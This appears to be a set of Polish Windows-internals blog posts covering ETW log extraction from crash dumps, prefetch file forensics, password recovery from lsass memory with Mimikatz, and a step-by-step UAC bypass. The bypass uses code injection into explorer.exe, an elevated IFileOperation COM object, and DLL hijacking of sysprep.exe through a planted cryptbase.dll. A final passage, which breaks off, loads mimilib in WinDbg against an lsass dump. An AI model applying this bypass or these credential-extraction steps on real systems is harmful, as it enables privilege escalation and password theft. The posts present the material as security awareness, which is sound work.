    enable LoggerId GUID [-level n] [-matchallkw n] [-matchanykw n] [-enableproperty n] [-flag n]
                                           - Enable provider. Level, keywords, flags and enableproperty can be provided
    stop <LoggerId>                        - Stop the logger.
    disable LoggerId GUID                  - Disable provider.
    dynamicprint <0|1>                     - Turn live tracing messages on (1) or off (0).  Default is on.
    traceoperation <0|1|2>                 - Verbose output. Default is OFF (debugging feature).
    dumpmini                               - Dump the system trace fragment stored in a minidump (Vista and later).
    dumpminievent                          - Dump the system event log trace fragment from a minidump (Vista SP1 and later).
    eventlogdump <LoggerId>                - Dump a logger using eventlog formatting.
    bufdump [<LoggerId>]                   - Dump the Wmi Trace Loggers Buffers

In all commands logger name can be used instead of logger id.

Przy zabawie z dumpem odpadają wszystkie polecenia uruchamiające, aktywujące, etc. logger, czyli zaczynamy od zrzutu aktywnych loggerów:

kd> !wmitrace.strdump
(WmiTracing)StrDump Generic
  LoggerContext Array @ 0xFFFFF80002A72880 [64 Elements]
    Logger Id 0x02 @ 0xFFFFFA8001D83C80 Named 'Circular Kernel Context Logger'
    Logger Id 0x03 @ 0xFFFFFA8001939040 Named 'Eventlog-Security'
    Logger Id 0x04 @ 0xFFFFFA800191C040 Named 'Audio'
    Logger Id 0x05 @ 0xFFFFFA800191C8C0 Named 'DiagLog'
    Logger Id 0x06 @ 0xFFFFFA800191C500 Named 'EventLog-Application'
    Logger Id 0x07 @ 0xFFFFFA8001939780 Named 'EventLog-System'
    Logger Id 0x08 @ 0xFFFFFA8001943AC0 Named 'Microsoft Security Client'
    Logger Id 0x09 @ 0xFFFFFA8002D3B440 Named 'MpWppTracing-04192013-191832-00000003-ffffffff'
    Logger Id 0x0a @ 0xFFFFFA8001947780 Named 'NtfsLog'
    Logger Id 0x0b @ 0xFFFFFA800194D040 Named 'UBPM'
    Logger Id 0x0c @ 0xFFFFFA8001950040 Named 'WdiContextLog'
    Logger Id 0x0d @ 0xFFFFFA80035EE2C0 Named 'MSDTC_TRACE_SESSION'
    Logger Id 0x0e @ 0xFFFFFA80023DF280 Named 'WFP-IPsec Diagnostics'

Jak widać, lista zaczyna się od Id=0x02, przy aktywnym loggerze ‘NT Kernel Logger’ mielibyśmy go na pozycji 0x00 (z tego loggera korzysta np. procmon)

Na początek interesuje nas logger CKCL, czyli Circular Kernel Context Logger, bo w nim możemy znaleźć troszkę informacji o tym, co się działo w systemie przed jego padem. Zazwyczaj zaczynamy od zapisania logu do pliku .etl

kd> !wmitrace.logsave 2 c:\dumps\CKCL.etl

i następnie przejrzeniu go przy użyciu xperfview, WPA, lub - w ostateczności - zrzucie wszystkiego z poziomu samego xperf.

>xperf -i ckcl.etl -o ckcl.txt -a dumper

Oczywiście log możemy zapisać dla każdego z wypisanych wyżej loggerów - polecam to jako ćwiczenie i rozejrzenie się w rodzaju informacji, które można wyciągnąć.

Przeglądanie logu związanego z loggerem eventlogowym nie jest zbyt przyjazne (wszystko trafia do generic events i oglądanie tego w tabelce jest po prostu uciążliwe), dlatego też w kolejnym kroku możemy zrobić zrzut eventloga:

kd> !wmitrace.eventlogdump 5
WMI Trace Save: Debugger Extension. LoggerId = 5, Save File = 'c:\temp\wmiE890.tmp'
    Logger Id 0x05 @ 0xFFFFFA800191C8C0 Named 'DiagLog'
      CollectionOn        = 1
      LoggerMode          = 0x10000180 ( secure rt single-str )
      BufferSize          = 16 KB
      BuffersAvailable    = 2
      MinimumBuffers      = 2
      NumberOfBuffers     = 2
      MaximumBuffers      = 22
      EventsLost          = 0
      LogBuffersLost      = 0
      RealTimeBuffersLost = 0
      LastFlushedBuffer   = 0
      MaximumFileSize     = 100
      FlushTimer          = 1 sec
      LoggerThread        = 0xfffffa8001926040 <359>
      PoolType            = NonPaged
      SequenceNumber      = 66
      ClockType           = PerfCounter
      EventsLogged        = 0
      Consumer @ 0xfffffa8003267f70 'dt nt!_ETW_REALTIME_CONSUMER 0xfffffa8003267f70'

      Buffer      Address           Cpu RefCnt State
-----------------------------------------------------------------------------------------
      Buffer   1: fffffa80022ab000 ,  0:   0    Free List      , Offset:      152 ,   0% Used
      Buffer   2: fffffa80022e3000 ,  0:   0    Free List      , Offset:      696 ,   4% Used
Saved 2 Buffers
Querying c:\temp\wmiE890.tmp for all events...
Event 0 :
============

 <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'>
  <System>
   <Provider Name='Microsoft-Windows-Kernel-PnP' Guid='{9c205a39-1250-487d-abd7-e831c6290539}'/>
   <EventID>     212   </EventID>
   <Version>     0   </Version>
   <Level>     4   </Level>
   <Task>     212   </Task>
   <Opcode>     1   </Opcode>
   <Keywords>     0x4000000000002020   </Keywords>
   <TimeCreated SystemTime='2013-04-19T17:26:56.946394300Z'/>
   <EventRecordID>     0   </EventRecordID>
   <Correlation/>
   <Execution ProcessID='4' ThreadID='48' ProcessorID='0' KernelTime='20' UserTime='0'/>
   <Channel>   </Channel>
   <Computer>     VM7   </Computer>
   <Security/>
  </System>
  <EventData>
   <Data Name='DriverNameLength'>     7   </Data>
   <Data Name='DriverName'>     win64dd   </Data>
  </EventData>
 </Event>  

TimeCreated SystemTime='2013-04-19T17:26:56.946394300Z'
Publisher name: Microsoft-Windows-Kernel-PnP
Failed to get event format size. Error = 3AB4
Event 1 :
============

 <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'>
  <System>
   <Provider Name='Microsoft-Windows-Kernel-PnP' Guid='{9c205a39-1250-487d-abd7-e831c6290539}'/>
   <EventID>     226   </EventID>
   <Version>     0   </Version>
   <Level>     4   </Level>
   <Task>     226   </Task>
   <Opcode>     1   </Opcode>
   <Keywords>     0x4000000000020020   </Keywords>
   <TimeCreated SystemTime='2013-04-19T17:26:56.960558900Z'/>
   <EventRecordID>     1   </EventRecordID>
   <Correlation/>
   <Execution ProcessID='4' ThreadID='48' ProcessorID='0' KernelTime='20' UserTime='0'/>
   <Channel>   </Channel>
   <Computer>     VM7   </Computer>
   <Security/>
  </System>
  <EventData>
   <Data Name='DriverNameLength'>     55   </Data>
   <Data Name='DriverName'>     \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\win64dd   </Data>
  </EventData>
 </Event>  

TimeCreated SystemTime='2013-04-19T17:26:56.960558900Z'
Publisher name: Microsoft-Windows-Kernel-PnP
Failed to get event format size. Error = 3AB4
Event 2 :
============

 <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'>
  <System>
   <Provider Name='Microsoft-Windows-Kernel-PnP' Guid='{9c205a39-1250-487d-abd7-e831c6290539}'/>
   <EventID>     227   </EventID>
   <Version>     0   </Version>
   <Level>     4   </Level>
   <Task>     226   </Task>
   <Opcode>     2   </Opcode>
   <Keywords>     0x4000000000020020   </Keywords>
   <TimeCreated SystemTime='2013-04-19T17:26:56.961033000Z'/>
   <EventRecordID>     2   </EventRecordID>
   <Correlation/>
   <Execution ProcessID='4' ThreadID='48' ProcessorID='0' KernelTime='20' UserTime='0'/>
   <Channel>   </Channel>
   <Computer>     VM7   </Computer>
   <Security/>
  </System>
  <EventData>
   <Data Name='DriverNameLength'>     55   </Data>
   <Data Name='DriverName'>     \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\win64dd   </Data>
   <Data Name='Status'>     0   </Data>
  </EventData>
 </Event>  

TimeCreated SystemTime='2013-04-19T17:26:56.961033000Z'
Publisher name: Microsoft-Windows-Kernel-PnP
Failed to get event format size. Error = 3AB4
Event 3 :
============

 <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'>
  <System>
   <Provider Name='Microsoft-Windows-Kernel-PnP' Guid='{9c205a39-1250-487d-abd7-e831c6290539}'/>
   <EventID>     213   </EventID>
   <Version>     0   </Version>
   <Level>     4   </Level>
   <Task>     212   </Task>
   <Opcode>     2   </Opcode>
   <Keywords>     0x4000000000002020   </Keywords>
   <TimeCreated SystemTime='2013-04-19T17:26:56.961046400Z'/>
   <EventRecordID>     3   </EventRecordID>
   <Correlation/>
   <Execution ProcessID='4' ThreadID='48' ProcessorID='0' KernelTime='20' UserTime='0'/>
   <Channel>   </Channel>
   <Computer>     VM7   </Computer>
   <Security/>
  </System>
  <EventData>
   <Data Name='ServiceNameLength'>     7   </Data>
   <Data Name='ServiceName'>     win64dd   </Data>
   <Data Name='Status'>     0   </Data>
   <Data Name='DriverNameLength'>     15   </Data>
   <Data Name='DriverName'>     \Driver\win64dd   </Data>
   <Data Name='Version'>     393217   </Data>
  </EventData>
 </Event>  

TimeCreated SystemTime='2013-04-19T17:26:56.961046400Z'
Publisher name: Microsoft-Windows-Kernel-PnP
Failed to get event format size. Error = 3AB4
Event 4 :
============

 <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'>
  <System>
   <Provider Name='Microsoft-Windows-Diagnosis-DPS' Guid='{6bba3851-2c7e-4dea-8f54-31e5afd029e3}'/>
   <EventID>     1   </EventID>
   <Version>     0   </Version>
   <Level>     5   </Level>
   <Task>     3   </Task>
   <Opcode>     10   </Opcode>
   <Keywords>     0x2000000200000000   </Keywords>
   <TimeCreated SystemTime='2013-04-19T17:28:33.032663600Z'/>
   <EventRecordID>     4   </EventRecordID>
   <Correlation/>
   <Execution ProcessID='1200' ThreadID='1400' ProcessorID='0' KernelTime='0' UserTime='0'/>
   <Channel>   </Channel>
   <Computer>     VM7   </Computer>
   <Security/>
  </System>
  <EventData>  </EventData>
 </Event>  

TimeCreated SystemTime='2013-04-19T17:28:33.032663600Z'
Publisher name: Microsoft-Windows-Diagnosis-DPS
Event message:
Usługa Zasady diagnostyki została uruchomiona. To zdarzenie sygnalizuje modułom diagnostycznym opóźnione przetwarzanie po zainicjowaniu usługi.

==========
Success all items processed!

Zauważmy, że zrzucone zdarzenia są w formacie xml eventloga, co nieco ułatwia ich interpretację. W powyższym przypadku mamy zapisane zdarzenia związane ze sterownikiem win64dd, co może sugerować bezpośredni związek z padem systemu.

Dla niektórych loggerów i mniej obciążonego systemu można wyciągnąć nawet setki sekund zdarzeń (vide przykłady z linku #2 z przypisów). W przypadku loggera CKCL (i oczywiście innych, +własne) można czasem przed padem systemu dorzucić do niego zdarzenia związane z innymi, niż podstawowe providerami i w ten sposób dopisać sporo interesujących informacji do dumpa (też link #2).

Jako lekturę obowiązkową dla zainteresowanych, podaję:

1. Defrag Tools: #29 - WinDbg - ETW Logging
2. Part 3: ETW Methods of Tracing (z cyklu tekstów o ETW na blogu ntdebugging)


Pliki prefetchera

$
0
0

Dziś krócej i z nieco innej działki, ale również 'internalsowo'. Oczywiście kontynuujemy serię 'zagadkową'.

Począwszy od Windows XP mamy dostępny mechanizm prefetchera, pozwalający na przyspieszenie ładowania aplikacji do pamięci podczas jej uruchamiania. Fizycznie pliki prefetchera znajdują się w katalogu %SystemRoot%\Prefetch i mają rozszerzenie .pf, dla przykładu uruchomienie notatnika (64-bit) generuje nam plik
NOTEPAD.EXE-D8414F97.pf
Prefetcher monitoruje pierwsze 10 sekund startu aplikacji, a w ramach metadanych zapisanych przez prefetcher dla danej aplikacji, możemy znaleźć:
- sygnatury czasowe: utworzenia oraz ostatniego uruchomienia;
- liczbę uruchomień;
- wolumen: ścieżka, numer seryjny;
- listę plików: plików i katalogów wykorzystanych podczas startu aplikacji, a więc bibliotek oraz innych plików ładowanych przez loader oraz otwieranych i zapisywanych przy starcie.
W plikach .pf nie ma zapisanej informacji o nazwie użytkownika, który aplikację uruchamiał, niemniej jednak na podstawie listy plików bardzo często można dojść do tego, w kontekście którego użytkownika aplikacja została uruchomiona (pliki z katalogów %APPDATA%, lub %LOCALAPPDATA%). W internecie można znaleźć całkiem sporo gotowych narzędzi do parsowania plików .pf, a przykładowy wynik może wyglądać następująco (tu użyję skryptu perl z materiałów do książki):

>pref.pl -f \Windows\Prefetch\REG.EXE-E7E8BD26.pf -p -i -v
\Windows\Prefetch\REG.EXE-E7E8BD26.pf     Tue Sep  3 12:24:01 2013 (12)

EXE Name            : REG.EXE
Volume Path         : \DEVICE\HARDDISKLVFS000
Volume Creation Date: Tue Apr 19 18:05:10 2011 Z
Volume Serial Number: 9653-9D9B

\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NTDLL.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\KERNEL32.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\APISETSCHEMA.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\KERNELBASE.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\LOCALE.NLS
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\REG.EXE
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\ADVAPI32.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\MSVCRT.DLL
\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\SECHOST.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\SECHOST.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\RPCRT4.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\USER32.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\GDI32.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\LPK.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\USP10.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\WS2_32.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\NSI.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\SHLWAPI.DLL
\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\IMM32.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\IMM32.DLL
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\MSCTF.DLL
\DEVICE\HARDDISKVOLUME2\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
\DEVICE\HARDDISKLVFS000\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\PL-PL\KERNELBASE.DLL.MUI
\DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\PL-PL\KERNELBASE.DLL.MUI

Szczególnie ciekawy jest plik NTOSBOOT-B00DFAAD.pf, który (zgodnie z opisem M.Russinovicha) zawiera informacje związane ze startem systemu (do 30 sek od startu powłoki (explorera), lub 60 sek. od startu usług, lub 120 sekund od początku startu systemu, zależnie od tego, co będzie pierwsze).

W przypadku instalacji na dyskach SSD system (od Windows 7) domyślnie wyłącza mechanizm prefetchera.

Odzyskiwanie haseł zalogowanych użytkowników z pamięci lsass

$
0
0

W standardowej instalacji Windows 7 (a także Windows 8 oraz wersjach serwerowych, nie wspominając o wcześniejszych edycjach Windows) podczas logowania do systemu nasze hasło przechodzi w postaci jawnej przez kilka authentication i security packages (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\SecurityPackages) oraz zostaje przez nie zapisane w pamięci procesu w postaci zaszyfrowanej i pozostaje tam przez cały czas życia sesji użytkownika. I oczywiście nic nie stoi na przeszkodzie, żeby te hasła odczytać i odszyfrować - lsass zrobi to grzecznie za nas. A jedyne, do czego musimy mieć dostęp (do odczytu), to pamięć procesu lsass.exe - możemy skorzystać bezpośrednio z pamięci fizycznej w działającym systemie, lub zapisanej na dysku w postaci zrzutu (tu możemy plik skopiować na inną maszynę z tym samym systemem i tam odczytać). A jako że pisałem już o zabawach z LSASS wielokrotnie i opisywałem cały mechanizm w szczegółach, to podam tylko dwa linki:

- Prezentacja Pauli Januszkiewicz na TechEd 2013
- Mimikatz by Benjamin Delpy

A więc dbajcie o swoje dumpy i dostęp do pamięci lsass, bo hasełka tylko czekają na odpowiedni moment, żeby się zaprezentować w pełnej krasie ;)

EDIT: Na tegorocznym MTS (1 dzień konferencji, między 14.00 a 15.00) Paula poprowadzi wspomnianą prezentację poświęconą hasłom, więc jest jeszcze okazja porozmawiać o pass-the-hash z odpowiednią osobą :) Ja również będę na tej sesji i z ogromną przyjemnością obejrzę całą prezentację 'na żywca' :)

O domyślnych ustawieniach UAC słów kilka

$
0
0

Domyślne ustawienia UAC w Windows 7 (a także Windows 8) nie zapewniają nam niestety pełnego bezpieczeństwa. Istnieje kilka znanych sposobów ‘ataku’ na UAC, które pozwalają na wykonanie kodu z podniesionymi uprawnieniami bez konieczności potwierdzania komunikatów UAC. Spróbuję opisać jeden z nich, który wydaje mi się szczególnie interesujący ze względu na wykorzystane mechanizmy.

Konfiguracja UAC

Po instalacji systemu domyślnie mamy ustawiony poziom 3 (Rys 1), który jest o jeden szczebelek niżej od najwyższego (domyślnego dla Visty).

Rys 1. Domyślne ustawienia UAC (panel sterowania)

Z dodatkowej informacji wynika, iż to ustawienie nie gwarantuje nam pełnego bezpieczeństwa, jednak opis sugeruje, że powiadomienia będą się pojawiać w sytuacji, gdy “programy próbują wprowadzać zmiany na komputerze”. Co więcej, w przypadku ‘wprowadzania zmian w ustawieniach systemu Windows’ powiadomienia nie będą się pojawiać. Jak się okazuje, ten brak komunikatów dla ‘zmian w ustawieniach’ otwiera drogę dla potencjalnego ataku.

Krok 1. Utworzenie obiektu COM o podniesionych uprawnieniach

Zgodnie z dokumentacją, aby w naszym kodzie utworzyć obiekt COM o podniesionych uprawnieniach, musimy podczas tworzenia monikera skorzystać ze składni:
"Elevation:Administrator!new:{guid}"
gdzie {guid} określa CLSID COMa, którego obiekt chcemy utworzyć. Istotna przy tym jest w deklaracji takiej klasy obecność “LocalizedString” zawierający opis tworzonego obiektu pojawiający się w ramach komunikatu UAC, a także ustawiona na 1 wartość Enabled podklucza Elevation. Dla przykładu, jeden z tego typu obiektów systemowych ma zdefiniowane następujące wpisy:

>reg query HKCR\CLSID\{3ad05575-8857-4850-9277-11b85bdb8e09} /s

HKEY_CLASSES_ROOT\CLSID\{3ad05575-8857-4850-9277-11b85bdb8e09}
    (domyślny)    REG_SZ    Copy/Move/Rename/Delete/Link Object
    AppId    REG_SZ    {3ad05575-8857-4850-9277-11b85bdb8e09}
    LocalizedString    REG_EXPAND_SZ    @%SystemRoot%\system32\shell32.dll,-50176

HKEY_CLASSES_ROOT\CLSID\{3ad05575-8857-4850-9277-11b85bdb8e09}\Elevation
    Enabled    REG_DWORD    0x1

HKEY_CLASSES_ROOT\CLSID\{3ad05575-8857-4850-9277-11b85bdb8e09}\InProcServer32
    (domyślny)    REG_EXPAND_SZ    %SystemRoot%\system32\shell32.dll
    ThreadingModel    REG_SZ    Apartment

Oczywiście, gdy aplikacja bez podniesionych uprawnień będzie próbowała utworzyć obiekt COM o podniesionych uprawnieniach, to nie nastąpi to poprzez proste załadowanie biblioteki powiązanej z COMem do pamięci procesu, a następnie utworzenie obiektu o wyższych uprawnieniach, ponieważ wiązałoby się to ze zmianą żetonu procesu, co nie jest możliwe (o modyfikacji żetonu z poziomu jądra pisałem jakiś czas temu, ale nie o tym teraz). A zatem taki COM musi mieć możliwość utworzenia poza procesem, co wiąże się z utworzeniem procesu hosta (surogata) o wyższych uprawnieniach, który załaduje naszego dlla i dostarczy nam odpowiednich metod. Istotny w tym miejscu podczas rejestracji takiego COMa jest wpis DllSurrogate definiujący ścieżkę do procesu hosta, a w przypadku, gdy jego wartość jest pusta, lub = NULL, to wykorzystywany jest systemowy DllHost.exe, oczywiście uruchamiany przez usługę AppInfo z podniesionymi uprawnieniami, lecz w naszym kontekście. Dla przykładu, poprzednio prezentowany COM zdefiniowany jest następująco:

>reg query HKLM\Software\Classes\AppID\{3ad05575-8857-4850-9277-11b85bdb8e09} /s /t REG_SZ

HKEY_LOCAL_MACHINE\Software\Classes\AppID\{3ad05575-8857-4850-9277-11b85bdb8e09}
    DllSurrogate    REG_SZ

Mając tak przygotowanego COMa, możemy spróbować z niego skorzystać - w momencie, gdy się do niego odwołamy z naszej aplikacji (korzystając ze wspomnianej wyżej składni monikera), to pojawi się komunikat UAC z prośbą o zgodę na podniesienie uprawnień. Tak się stanie w przypadku, gdy zażąda tego nasza (napisana przez nas) aplikacja.
Inaczej jednak jest w przypadku praktycznie wszystkich wbudowanych w system aplikacji. Otóż w momencie, gdy np. explorer.exe (bez podniesionych uprawnień) wykona tę samą operację utworzenia obiektu COM o podniesionych uprawnieniach, to system pozwoli mu na to bez jakiegokolwiek komunikatu UAC. System zweryfikuje bowiem obraz procesu - jego podpis oraz ścieżkę, z której został uruchomiony i jeśli będzie to tzw. ‘Windows executable’ (za Russinovichem), to będzie to wystarczające do automatycznego utworzenia ‘podniesionego’ obiektu COM bez dodatkowych potwierdzeń.

Mając w rękach taki mechanizm, możemy wyobrazić sobie pierwszy krok do obejścia UAC: w jakiś sposób zmuszamy explorer.exe (albo notepad.exe, calc.exe, etc.) do tego, aby utworzył ‘podniesiony’ obiekt COM, który zrobi już to, co my będziemy chcieli. W tym miejscu pojawiają się dwie wątpliwości: jak zmusić explorer.exe do zrobienia czegoś takiego oraz jaki COM niecnie wykorzystać.
Odpowiedź na pierwsze pytanie jest dosyć prosta: możemy skorzystać z Code Injection, czyli mechanizmu polegającego na:
- alokacji pewnego obszaru pamięci w ramach działającego procesu (u nas explorer.exe);
- wrzuceniu do niego kawałka naszego kodu tworzącego COMa;
- ustawieniu odpowiednich zabezpieczeń dla przydzielonego obszaru pamięci (Read+Execute);
- utworzeniu zdalnego wątku, którego wykonanie przerzucimy do wrzuconego obszaru kodu.

Oczywiście mechanizm ten mamy dostępny w Windows 7 (i 8) i bez problemu możemy z niego skorzystać.
Druga kwestia to dobór COMa - gdybyśmy mieli zarejestrowany ‘swój’, to w zasadzie bylibyśmy ‘w domu’, jednak rejestracja COMa również wymaga podniesienia uprawnień, więc pozostają nam te już istniejące, czyli systemowe. Do wyboru odpowiedniego zachęca nas drugi mechanizm systemowy, czyli AutoElevate.

Krok 2. AutoElevate

Aby ułatwić nieco życie administratorom, znaczna część aplikacji systemowych (ale również innych, np. o odpowiedniej nazwie - więcej u Russinovicha) wyposażona została w mechanizm automatycznego podniesienia uprawnień, czyli AutoElevate. Dla przykładu, eventvwr.exe uruchomiony z domyślnej lokalizacji będzie od razu utworzony z podniesionymi uprawnieniami, bez pokazywania jakichkolwiek komunikatów UAC.
Informacja o tym, że dana aplikacja (.exe, lub COM  w .dll) obsługuje mechanizm autoElevate, zapisana została w manifeście:

>sigcheck -m \Windows\system32\eventvwr.exe

Sigcheck v1.90 - File version and signature viewer
Copyright (C) 2004-2013 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\windows\system32\eventvwr.exe:
        Verified:       Signed
        Signing date:   05:17 2009-07-14
        Publisher:      Microsoft Windows
        Description:    Uruchamianie przystawki Podgl?d zdarze?
        Product:        System operacyjny Microsoft« Windows«
        Version:        6.1.7600.16385
        File version:   6.1.7600.16385 (win7_rtm.090713-1255)
        Manifest:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1"  xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" manifestVersion="1.0">
<assemblyIdentity
    version="5.1.0.0"
    processorArchitecture="amd64"
    name="Microsoft.Windows.Eventlog.EventVwr"
    type="win32"
/>
<description>Event Viewer Snapin Launcher</description>

<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
        <requestedPrivileges>
            <requestedExecutionLevel
                level="highestAvailable"
                uiAccess="false"
            />
        </requestedPrivileges>
    </security>
</trustInfo>
<asmv3:application>
   <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
        <autoElevate>true</autoElevate>
   </asmv3:windowsSettings>
</asmv3:application>
</assembly>

poza nimi istnieją także inne, ale po szczegóły odsyłam do (kogo? :)) Russinovicha; nam wystarczą na razie te. Szybkie przelecenie się po katalogu systemowym oraz jego podkatalogach, pokazuje, że mamy do czynienia z całkiem dużą ilością tak oznaczonych aplikacji. Nas interesuje szczególnie jedna - sysprep.exe, znajdujący się w %SystemRoot%\system32\sysprep\sysprep.exe. Bardzo ważny dla nas jest fakt, iż sysprep.exe ma swój dedykowany katalog, co pozwala nam na skorzystanie z domyślnego mechanizmu ładowania przez loader bibliotek zlinkowanych z sysprep.exe oraz pochodnych. Okazuje się bowiem, że o ile jakaś biblioteka nie występuje na liście KnownDlls, to loader skorzysta z pliku znajdującego się w katalogu zawierającego aplikację (i tu także nie jest to aż takie proste, oczywiście odsyłam po szczegóły do Russinovicha).

>reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs" /s

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
    clbcatq    REG_SZ    clbcatq.dll
    ole32    REG_SZ    ole32.dll
    advapi32    REG_SZ    advapi32.dll
    COMDLG32    REG_SZ    COMDLG32.dll
    DllDirectory    REG_EXPAND_SZ    %SystemRoot%\system32
    DllDirectory32    REG_EXPAND_SZ    %SystemRoot%\syswow64
    gdi32    REG_SZ    gdi32.dll
    IERTUTIL    REG_SZ    IERTUTIL.dll
    IMAGEHLP    REG_SZ    IMAGEHLP.dll
    IMM32    REG_SZ    IMM32.dll
    kernel32    REG_SZ    kernel32.dll
    LPK    REG_SZ    LPK.dll
    MSCTF    REG_SZ    MSCTF.dll
    MSVCRT    REG_SZ    MSVCRT.dll
    NORMALIZ    REG_SZ    NORMALIZ.dll
    NSI    REG_SZ    NSI.dll
    OLEAUT32    REG_SZ    OLEAUT32.dll
    PSAPI    REG_SZ    PSAPI.DLL
    rpcrt4    REG_SZ    rpcrt4.dll
    sechost    REG_SZ    sechost.dll
    Setupapi    REG_SZ    Setupapi.dll
    SHELL32    REG_SZ    SHELL32.dll
    SHLWAPI    REG_SZ    SHLWAPI.dll
    URLMON    REG_SZ    URLMON.dll
    user32    REG_SZ    user32.dll
    USP10    REG_SZ    USP10.dll
    WININET    REG_SZ    WININET.dll
    WLDAP32    REG_SZ    WLDAP32.dll
    WS2_32    REG_SZ    WS2_32.dll
    DifxApi    REG_SZ    difxapi.dll

Jedną z ładowanych bibliotek przy starcie sysprep.exe jest cryptbase.dll. Sysprep.exe nie jest co prawda bezpośrednio z nią zlinkowany, jednak korzysta z innych bibliotek, które z kolei używają tej. Szybki rzut oka na listę KnownDLLs i okazuje się, że cryptbase na niej nie ma. (Bo gdyby była, to system w pierwszej kolejności załadowałby ją z lokalizacji wskazanej w KnownDLLs, nie patrząc w ogóle na zawartość katalogu aplikacji, etc.). Wystarczy zatem, że wrzucimy naszą własną wersję biblioteki cryptbase.dll do katalogu zawierającego sysprep.exe, aby loader ją załadował podczas inicjalizacji aplikacji. A mając ją załadowaną w automatycznie podniesionym sysprep.exe, mamy oczywiście swój kod (DllMain), czyli hulaj dusza, piekła nie ma. I wszystko ok, tylko w jaki sposób wrzucić naszą wersję cryptbase.dll do katalogu sysprep, skoro do wykonania tej czynności potrzebujemy podniesionych uprawnień?
Z pomocą przychodzi nam systemowy IFileOperation - COM, który podawałem jako przykład w kroku 1, który po prostu pozwala na operacje kopiowania, przesuwania i usuwania plików, mając ustawione w rejestrze podniesienie uprawnień (Elevation\Enabled = 1).

Podsumujmy:
1. Wciskamy kod do explorer.exe
2. Tworzymy out-of-process podniesiony IFileOperation, który kopiuje nam plik cryptbase.dll do katalogu zawierającego sysprep.exe
3. Korzystając z tego samego mechanizmu, tym razem w oparciu o ShellExecute uruchamiamy sysprep.exe, który grzecznie ładuje nam podstawiony przez nas cryptbase.dll
4. Załadowany cryptbase.dll wykonuje podniesiony nasz kod, co pozwala nam na bezgraniczny dostęp do systemu :)

Po zebraniu wszystkich klocków do kupy otrzymujemy metodę na uruchomienie przy domyślnych ustawieniach UAC, aplikacji z podniesionymi uprawnieniami bez pojawiania się jakichkolwiek komunikatów UAC.

Krótki komentarz

Wygląda zatem na to, że jeśli chcemy czuć się bezpieczni, to musimy mieć ustawiony UAC na najwyższym poziomie. Tylko wtedy wszystkie próby podniesienia uprawnień, łącznie z systemowymi ‘autoElevate’ będą skutkować komunikatem UAC i powyżej opisana ścieżka ‘ataku’ będzie nieskuteczna. Druga kwestia wiąże się z tym, że opisana metoda znana jest już od wielu lat (wczesnych wersji Windows 7) i nadal jest skuteczna np. w Windows 8. Kolejne aplikacje wykorzystujące tę metodę ataku na UAC trafiają do bazy wirusów Microsoft Security Essentials, ale nie są wprowadzane żadne poważniejsze zmiany w systemie, które mogłyby nas zabezpieczyć. Owszem, podczas podnoszenia uprawnień sprawdzany jest proces, który tego się domaga (sygnatury, ścieżka z której został uruchomiony), ale nie jest w żaden sposób weryfikowany kod, który tworzy COMa.

Cała powyżej opisana metoda opisana została szczegółowo tu: [KLIK]. Na podstawie kodu PoC przygotowałem własne narzędzie, które być może ujrzy kiedyś światło dzienne ;)

mimilib.dll - mimikatz a WinDbg

$
0
0

Benjamin kontynuuje swoją pracę nad narzędziami do analizy lsass, czego owocem jest udostępniona dziś biblioteka rozszerzeń dla WinDbg, która - podobnie jak opisywany przeze mnie wcześniej mimikatz - pozwala na wyciąganie informacji ze zrzutów pamięci systemu.

1. Ładujemy dump i szukamy lsass.exe

kd> !process 0 0 lsass.exe
PROCESS 862c0b20  SessionId: 0  Cid: 0210    Peb: 7ffd4000  ParentCid: 0198
    DirBase: 7ec410e0  ObjectTable: 89e43ef0  HandleCount: 519.
    Image: lsass.exe

2 Ustawiamy kontekst na znaleziony proces

kd> .process /r /p 862c0b20 
Implicit process is now 862c0b20
Loading User Symbols
............................................................

3. Ładujemy mimilib

kd> .load mimilib

